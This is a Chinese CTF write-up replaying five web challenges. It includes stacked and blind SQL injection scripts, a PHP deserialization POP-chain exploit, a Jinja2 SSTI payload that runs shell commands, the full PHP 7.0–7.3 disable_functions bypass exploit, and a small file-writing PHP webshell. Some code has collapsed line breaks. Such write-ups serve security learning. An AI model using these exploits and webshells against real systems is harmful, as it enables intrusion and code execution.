目录:

  1. Blacklist
  2. Easyphp
  3. Ezsqli
  4. FlaskApp
  5. EasyThinking

前言:

这次比赛从第二天开始打的,因为快开学了所以就没怎么看题目(主要还是自己太菜)就只做出一道题。不过还好有buu,在几天后我终于抽出时间来复盘了。

。。由于buu复现的数量有限,所以没办法都写完,只能挑几道会的写一写。那么接下来开始看题吧。

Blacklist

涉及知识点:

(1)堆叠注入

解析:

这一道题很明显参考了强网杯的随便注。只不过过滤的函数增加了。

先看一下有表名。payload: 1';show tables;#

再看一下字段名。 payload:1';show columns from FlagHere;#

之后就是查询flag,但是select,set 甚至 rename 都没了。这里还有一种插叙查询方法使用handler。

学习笔记就放在这里了。

直接构造payload: 1';handler FlagHere open;handler FlagHere read first;#

获得flag

Easyphp

涉及知识点:

(1)POC链的构造

解析:

本来以为这是一道sql注入,没想到有源码的啊。

这里只贴关键代码吧。

update.php

<?php
require_once('lib.php');
echo '<html>
<meta charset="utf-8">
<title>update</title>
<h2>这是一个未完成的页面,上线时建议删除本页面</h2>
</html>';
if ($_SESSION['login']!=1){
echo "你还没有登陆呢!";
}
$users=new User();
$users->update();
if($_SESSION['login']===1){
require_once("flag.php");
echo $flag;
}
?>

lib.php

<?php
error_reporting(0);
session_start();
function safe($parm){
$array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");
return str_replace($array,'hacker',$parm);
}
class User
{
public $id;
public $age=null;
public $nickname=null;
public function login() {
if(isset($_POST['username'])&&isset($_POST['password'])){
$mysqli=new dbCtrl();
$this->id=$mysqli->login('select id,password from user where username=?'); # id=1 的前提是 token = admin
if($this->id){
$_SESSION['id']=$this->id;
$_SESSION['login']=1;
echo "你的ID是".$_SESSION['id'];
echo "你好!".$_SESSION['token'];
echo "<script>window.location.href='./update.php'</script>";
return $this->id;
}
}
}
public function update(){
$Info=unserialize($this->getNewinfo()); # age nickname 可以自己操控
$age=$Info->age;
$nickname=$Info->nickname;
$updateAction=new UpdateHelper($_SESSION['id'],$Info,"update user SET age=$age,nickname=$nickname where id=".$_SESSION['id']);
//这个功能还没有写完 先占坑
}
public function getNewInfo(){
$age=$_POST['age'];
$nickname=$_POST['nickname'];
return safe(serialize(new Info($age,$nickname))); o:{}
}
public function __destruct(){
return file_get_contents($this->nickname);//危
}
}
public function __toString()
{
$this->nickname->update($this->age);
return "0-0";
}
}
class Info{
public $age;
public $nickname;
public $CtrlCase;
public function __construct($age,$nickname){
$this->age=$age;
$this->nickname=$nickname;
}
public function __call($name,$argument){
echo $this->CtrlCase->login($argument[0]); # 初步猜测是要调用 dbCtrl 的 login, $argument[0]的值是 User类中 $age ,还会输出查询到的第一个值(所以我们写exp的时候一定要把password放到第一)。
}
}
Class UpdateHelper{
public $id;
public $newinfo;
public $sql;
public function __construct($newInfo,$sql){
$newInfo=unserialize($newInfo);
$upDate=new dbCtrl();
}
public function __destruct()
{
echo $this->sql;
}
}
class dbCtrl
{
public $hostname="127.0.0.1";
public $dbuser="root";
public $dbpass="root";
public $database="test";
public $name;
public $password;
public $mysqli;
public $token;
public function __construct()
{
$this->name=$_POST['username'];
$this->password=$_POST['password'];
$this->token=$_SESSION['token'];
}
public function login($sql)
{
$this->mysqli=new mysqli($this->hostname, $this->dbuser, $this->dbpass, $this->database);
if ($this->mysqli->connect_error) {
die("连接失败,错误:" . $this->mysqli->connect_error);
}
$result=$this->mysqli->prepare($sql);
$result->bind_param('s', $this->name);
$result->execute();
$result->bind_result($idResult, $passwordResult);
$result->fetch();
$result->close();
if ($this->token=='admin') { //从这里返回 前提是 token = admin
return $idResult;
} //不能走下面回
if (!$idResult) {
echo('用户不存在!');
return false;
}
if (md5($this->password)!==$passwordResult) {
echo('密码错误!');
return false;
}
$_SESSION['token']=$this->name;
return $idResult;
}
public function update($sql)
{
//还没来得及写
}
}

这一题在update.php中调用了User类并且调用了update函数,这为我们创造了利用反序列化漏洞的条件。跟进:

 public function update(){
$Info=unserialize($this->getNewinfo()); # age nickname 可以自己操控
$age=$Info->age;
$nickname=$Info->nickname;
$updateAction=new UpdateHelper($_SESSION['id'],$Info,"update user SET age=$age,nickname=$nickname where id=".$_SESSION['id']);
//这个功能还没有写完 先占坑
}

跟进 getNewinfo() :

public function getNewInfo(){
$age=$_POST['age'];
$nickname=$_POST['nickname'];
return safe(serialize(new Info($age,$nickname)));
}

因为返回结果会经过 safe 函数,所以跟进看一下safe函数:

function safe($parm){
$array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");
return str_replace($array,'hacker',$parm);
}

很明显,这是在给我们提供拼接反序列化字符串的机会。

之后再看这里新实例化了一个 Info 类,并且 age 和 nickname 都是我们自己可以控制的变量。继续跟进:

class Info{
public $age;
public $nickname;
public $CtrlCase;
public function __construct($age,$nickname){
$this->age=$age;
$this->nickname=$nickname;
}
public function __call($name,$argument){
echo $this->CtrlCase->login($argument[0]); # 初步猜测是要调用 dbCtrl 的 login, $argument[0]的值是 User类中 $age ,还会输出查询到的第一个值(所以我们写exp的时候一定要把password放到第一)。
}
}

在 php 的反序列化中魔术方法绝对是我们解题的关键,这题也不例外,在 Info 的 __call 方法中调用了 login 函数,而有两个类中含有这个函数。

User类

    public function login() {
if(isset($_POST['username'])&&isset($_POST['password'])){
$mysqli=new dbCtrl();
$this->id=$mysqli->login('select id,password from user where username=?'); # id=1 的前提是 token = admin
if($this->id){
$_SESSION['id']=$this->id;
$_SESSION['login']=1;
echo "你的ID是".$_SESSION['id'];
echo "你好!".$_SESSION['token'];
echo "<script>window.location.href='./update.php'</script>";
return $this->id;
}
}
}

dbCtrl类

public function login($sql)
{
$this->mysqli=new mysqli($this->hostname, $this->dbuser, $this->dbpass, $this->database);
if ($this->mysqli->connect_error) {
die("连接失败,错误:" . $this->mysqli->connect_error);
}
$result=$this->mysqli->prepare($sql);
$result->bind_param('s', $this->name);
$result->execute();
$result->bind_result($idResult, $passwordResult);
$result->fetch();
$result->close();
if ($this->token=='admin') { //从这里返回 前提是 token = admin
return $idResult;
} //不能走下面回
if (!$idResult) {
echo('用户不存在!');
return false;
}
if (md5($this->password)!==$passwordResult) {
echo('密码错误!');
return false;
}
$_SESSION['token']=$this->name;
return $idResult;
}
public function update($sql)
{
//还没来得及写
}
}

审计完上面的代码之后,可以很明显的知道我们要调用的是 dbCtrl 类的 login 。为什么?因为这个方法返回的结果是 sql 查询的结果,并且这个结果是会被输出的(不要小看echo啊!)因此我们可以通过sql查询得到 admin 的密码。但是此时另一个问题就出来了,怎么才能调用 __call 方法?

能打败魔术方法的只有魔术方法(不是,只是这题凑巧了),我们发现在 User 类中有一个 __toString 方法。

public function __toString()
{
$this->nickname->update($this->age);
return "0-0";
}

很明显,只要 nickname 为 Info 类的实例就会触发 Info 类中没有的 update 函数,从而触发 __call 魔术方法。然后继续套娃,怎么调用 __toString 方法。

?UpdateHelper 类中有

public function __destruct()
{
echo $this->sql;
}

不多说了,怎么调用这个方法??(?这不是自动调用吗),并且我们的第一步是创建了这个类的实例的,也就是说我们的poc链接上了。

写脚本:

<?php
class User
{public $age='select password,id from user where username=?'; #注意这里一定是 password 在前
public $nickname=null;
}
class Info
{
public $age;
public $nickname;
public $CtrlCase;
}
class UpdateHelper
{
public $id;
public $newinfo;
public $sql;
}
class dbCtrl
{
public $hostname="127.0.0.1";
public $dbuser="root";
public $dbpass="root";
public $database="test";
public $name = 'admin';
public $password;
public $mysqli;
public $token = 'admin';
} $cioi = new UpdateHelper();
$cioi->sql = new User();
$cioi->sql->nickname = new Info();
$cioi->sql->nickname->CtrlCase = new dbCtrl(); $cioier = '";s:1:"a";'.serialize($cioi)."}";
$len = strlen($cioier);
$cioier = str_repeat('union',$len).$cioier;
echo $cioier; ?>

得到password

登录获得flag。

Ezsqli

涉及知识点:

(1)无列名盲注

解析:

测试阶段就不讲了好吧。反正这是一道布尔盲注。但是 or 被过滤了,这说明 information 不能用了,测试了一下 mysql 也不能用,但是 sys 还是可以用的。

可以用 sys.schema_table_statistics_with_buffer 或者 sys.x$schema_table_statistics_with_buffer 爆表

脚本(当时爆完表名不知道union被过滤怎么无列名注入,就试了一下列名为 flag 的情况,然后就中了?不愧是我)

import requests

url = 'http://ce780031-4e38-45ba-acc2-a135c491e112.node3.buuoj.cn/index.php'
payload = 'abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_.{}'
passwd = '' for i in range(1,80):
low = 0
high = 127 while True:
j = int((low + high)/2)
sqlstr = u"0||ascii(substr((select group_concat(table_name) from sys.x$schema_table_statistics_with_buffer where table_schema=database()),{},1))>{}#"
#sqlstr = u"0||ascii(substr((select flag from f1ag_1s_h3r3_hhhhh),{},1))>{}#" data = {'id':sqlstr.format(str(i),str(j))}
#print(sqlstr.format(str(i),str(low))) ans = requests.post(url,data=data)
if 'Nu1L' in ans.text: #true
if high == low+1:
passwd += chr(high)
print(passwd)
break
low = j if 'Error' in ans.text: #false
if high == low+1:
passwd += chr(low)
print(passwd)
break
high = j print(passwd)
print("error!length is too short!")

结果:

非预期没什么好说的,就猜呗。下面是知道表名之后的预期解。

首先我们需要知道一个知识:

id=0||(select 1,0)>(select * from f1ag_1s_h3r3_hhhhh)# 会返回 Error Occured When Fetch Result.(false)

id=0||(select 2,0)>(select * from f1ag_1s_h3r3_hhhhh)# 会返回 Nu1L(true)

即两个查询字符串的查询结果是可以比较的,先比较查询结果的第一列,如果第一列出结果,那么返回第一列的结果,如果第一列相等,继续比较第二列。以此类推。

而本题第一列肯定是 1 ,因为测试发现第一列是 1 时结果和第二列的大小有关。

所以我们可以写出以下脚本:

#本脚本是专用于爆破无列名盲注的
import requests #普通爆破的话直接用之前的布尔盲注模板
url = "http://ce780031-4e38-45ba-acc2-a135c491e112.node3.buuoj.cn/index.php"
passwd = '' for i in range(1,50):
low = 0
high = 127 while True:
j = int((low+high)/2)
sqlstr = "0||(select 1,'{}')>(select * from f1ag_1s_h3r3_hhhhh)"
if chr(j) == "'":
sqlstr = '0||(select 1,"{}")>(select * from f1ag_1s_h3r3_hhhhh)' data = {"id":sqlstr.format(passwd+str(chr(j)))} resp = requests.post(url=url,data=data) #print(sqlstr.format(passwd+str(chr(j))))
if 'Nu1L' in resp.text: #true
if high == low+1:
passwd = passwd + chr(low)
print(passwd)
break
high = j if 'Error' in resp.text:
if high == low+1:
passwd = passwd + chr(low)
print(passwd)
break
low = j print(passwd.lower()) # 把 flag 中的大写字母转化成小写。需要时用
print("error!length is too short!")    #只是提醒自己结束了

直接跑一遍就可以拿到flag了。

FlaskApp

涉及知识点:

(1)SSTI

解析:

这题是我比赛中做出来的一道题,但是被队友背刺,我太惨了!,,Ծ‸Ծ,,

这题。。就是先base64加密后,再解密时会触发反序列化机制。

测试 {{7+7}} 加密解密后为 

这题虽然过滤了一些东西,但是跟没过滤一样,字符串拼接就绕过了。

这里主要是找可以利用的类 ,发现 warning.catch_warnings 存在,这里写了一个找可利用类的脚本。

import sys

array = []

def find_class(line,s,c):
if line.find(b'class') > 0:
start = line.find(b'<class',s)
#print(start)
end = line.find(b'>',start)
string = line[start+8:end-1]
#print(string)
array.append(string)
if line.find(b'class',end+1) > 0:
find_class(line,end,c) def create_array():
sys.setrecursionlimit(1000000)
with open('C:/Users/Acer/Desktop/flag.txt','rb') as f:
a = 1
lines = f.readlines()
for line in lines:
#print(line)
find_class(line,0,b'warnings.catch_warnings')
#print(a) def search_class(funcs,fun):
i = 0
for func in funcs:
if fun in func:
print(i)
else:
i = i + 1 create_array()
search_class(array,b'warnings.catch_warnings')

..比赛时是 134 。。赵总改了一下现在是 206 。

构造payload: {{[].__class__.__base__.__subclasses__()[206].__init__.__globals__['__buil'+'tins__']['e'+'val']('__im'+'port__("o"+"s").pop'+'en("ca"+"t /this_i"+"s_the_fl"+"ag.txt").read()')}}

获得flag

EasyThinking

涉及知识点:

(1)Thinkphp6.0任意文件操作漏洞

(2)shell命令执行

解析:

这题是真的不会,只能看看师傅们的wp才能维持的了生活的样子。先贴上师傅的wp

首先我爆出了Thinkphp的版本6.0,上网去找漏洞,找到了上面贴的漏洞。

还行,尝试利用漏洞(就像上面链接说的一样,构造一个32位的php文件名)

在搜索处输入要注入的php代码。如:

发现过滤的函数有点多,以至于我们的蚁剑无法执行系统命令。之后用 <?php var_dump(scandir('/')); ?> 发现根目录下有

然后就不会了,师傅给了一个可以执行系统命令的脚本。

<?php

# PHP 7.0-7.3 disable_functions bypass PoC (*nix only)
#
# Bug: https://bugs.php.net/bug.php?id=72530
#
# This exploit should work on all PHP 7.0-7.3 versions
#
# Author: https://github.com/mm0r1 pwn("/readflag"); //这里是想要执行的系统命令 function pwn($cmd) {
global $abc, $helper; function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
} function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
} function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = chr($v & 0xff);
$v >>= 8;
}
} function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
} function parse_elf($base) {
$e_type = leak($base, 0x10, 2); $e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2); for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28); if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
# handle pie
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
$text_size = $p_memsz;
}
} if(!$data_addr || !$text_size || !$data_size)
return false; return [$data_addr, $text_size, $data_size];
} function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'constant' constant check
if($deref != 0x746e6174736e6f63)
continue;
} else continue; $leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'bin2hex' constant check
if($deref != 0x786568326e6962)
continue;
} else continue; return $data_addr + $i * 8;
}
} function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) { # ELF header
return $addr;
}
}
} function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6); if($f_name == 0x6d6574737973) { # system
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
} class ryat {
var $ryat;
var $chtg; function __destruct()
{
$this->chtg = $this->ryat;
$this->ryat = 1;
}
} class Helper {
public $a, $b, $c, $d;
} if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
} $n_alloc = 10; # increase this value if you get segfaults $contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_repeat('A', 79); $poc = 'a:4:{i:0;i:1;i:1;a:1:{i:0;O:4:"ryat":2:{s:4:"ryat";R:3;s:4:"chtg";i:2;}}i:1;i:3;i:2;R:5;}';
$out = unserialize($poc);
gc_collect_cycles(); $v = [];
$v[0] = ptr2str(0, 79);
unset($v);
$abc = $out[2][0]; $helper = new Helper;
$helper->b = function ($x) { }; if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
} # leaks
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8; # fake value
write($abc, 0x60, 2);
write($abc, 0x70, 6); # fake reference
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa); $closure_obj = str2ptr($abc, 0x20); $binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
} if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
} if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
} if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
} # fake closure object
$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
} # pwn
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4); # internal func type
write($abc, 0xd0 + 0x68, $zif_system); # internal func handler ($helper->b)($cmd); exit();
}

但是这个马明显太长了,怎么办?自己做一个可以上传的小马。(一定要记住 要加 ?act=godsdoor )

<?php if(@$_GET["act"]=="save"){if(isset($_POST["content"])&&isset($_POST["name"])){if($_POST["content"]!=""&&$_POST["name"]!=""){if(fwrite(fopen(stripslashes($_POST["name"]),"w"),stripslashes($_POST["content"]))){echo "OK! <a href=\"".stripslashes($_POST["name"])."\">".stripslashes($_POST["name"])."</a>";};}}}else{if(@$_GET["act"]=="godsdoor"){echo '<meta charset="utf-8"><form action="?act=save" method="post">content:<br/><textarea name="content" ></textarea><br/>filenane:<br/><input name="name"/><br/><input type="submit" value="GO!"></form>';}}
?>

然后利用小马上传大马。

获得flag

最新文章

  1. Python:装饰器
  2. WSDL
  3. Long型070000L前面0去掉比较大小,token,mysql innodb,properties,switch匹配空字符串对象
  4. poj 1054 The Troublesome Frog (暴力搜索 + 剪枝优化)
  5. 我对c++对象内存布局的理解
  6. 动态linq表达式新方法,Dynamic LINQ Extension Method
  7. Altium Designer 画&quot;差分线&quot;
  8. 引用 RAM和ROM和Flash ROM的区别
  9. 常用Markdown公式整理 &amp;&amp; 页内跳转注意 &amp;&amp; Markdown preview
  10. 1021. Deepest Root (25) -并查集判树 -BFS求深度
  11. QPropertyAnimation实现图形,控件的旋转和位移动画,尤其是旋转
  12. PHP 加解密方法大全
  13. linux 安装配置Jenkins
  14. Oracle_异常
  15. Day19-File操作-创建 删除,文件过滤
  16. eslint 在VSCode中不能使用
  17. python 定义class时的内置方法
  18. 20145101《JAVA程序设计》课程总结
  19. arguments.callee 属性 递归调用 &amp; caller和callee的区别
  20. 算法分析中最常用的几种排序算法(插入排序、希尔排序、冒泡排序、选择排序、快速排序,归并排序)C 语言版

热门文章

  1. day88:luffy:支付宝同步结果通知&amp;接收异步支付结果&amp;用户购买记录&amp;我的订单
  2. 使用Graph API 操作OneDrive 文件 权限 共享
  3. 主题包含一张index.html
  4. Vue3.0响应式原理
  5. Spring Boot 2.4.0 正式发布!全新的配置处理机制,拥抱云原生!
  6. ubutun 服务器配置jupyter notebook
  7. linux 网络编程 基础
  8. 快速熟悉 Oracle AWR 报告解读
  9. Mybatis是如何封装Jdbc的?
  10. 一键加Q群的实现